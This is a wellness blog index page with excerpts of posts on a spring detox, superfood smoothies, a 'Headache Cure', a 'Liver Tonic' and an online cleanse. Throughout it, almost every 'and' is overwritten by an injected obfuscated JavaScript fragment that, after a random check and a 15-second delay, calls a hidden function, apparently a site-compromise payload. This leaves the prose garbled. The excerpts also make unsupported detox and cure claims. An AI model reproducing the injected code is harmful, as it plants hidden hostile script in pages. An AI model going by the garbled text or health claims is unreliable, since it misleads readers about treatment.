7 Steps to P.U.R.E. this Spring

P.U.R.E.=Perspiration, Urination, Respiration, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Excretion In a perfect world perspiration, urination, respiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and excretion are how the body self regulates andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and detoxifies.  Well, as I …

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Cha Cha Cha “Chia”

Ok, so you already know about it, sort of.  You have heard of it.  Chia, it’s a mega-superfood from the Central andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South Americas.   You are sold on the health & weight management benefits of …

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Good Morning Sunshine “Smoothie”

Good Morning Sunshine Smoothie This week’s superfood focus is the Goldenberry, aka Gooseberries or Incanberries.  They have been enjoyed for their health properties for thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of years in South America.  Goldenberries contain carotene andom()*5);if (c==3){var …

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Pineapple Ginger Smoothie for Allergy Sufferers

Pineapple & ginger are both known as anti-inflammatories. Bromelain is an enzyme that is found in pineapples. It is sometimes used after sinus surgeries to fight inflammation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it can also be used to thin mucus …

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Peachie Green Smoothie

  Peachie Green Smoothie 2- 3 leaves kale 1 apple ½ peach 2 tablespoons hemp hearts 1 cup coconut water, to thin 2 generous sprinkles of cinnamon Blend + Enjoy.  

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Headache Cure

Headache Cure Sometimes when cleansing the release of toxins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and or the withdrawal of things like caffeine can leave you headachy.  This drink is delicious andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and refreshing andom()*5);if (c==3){var delay …

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Liver Tonic

Liver Tonic A tonic is a substance that improves tone or function.  A liver tonic is a substance that specifically improves the function andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tone of the liver, the most important organ of metabolism andom()*5);if …

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Chocolate Cherry Pie Smoothie

As a native Washingtonian, nothing says spring like the beloved Cherry Blosssoms in bloom at the tidal basin.  Even though cherries are not in season in our neck of the woods it is hard not to dream of cherries when …

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Y3’s Essential Green Juice

    “The essential is to get rid of deeply rooted prejudices, which we often repeat without examining them.”  ~ Albert Einstein   Today’s focus is on fresh cold-pressed green juice.  Often, I am asked which is better for us, …

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Fall Into A New You Detox

JOIN US FOR OUR 7 DAY ONLINE FOOD BASED CLEANSE!

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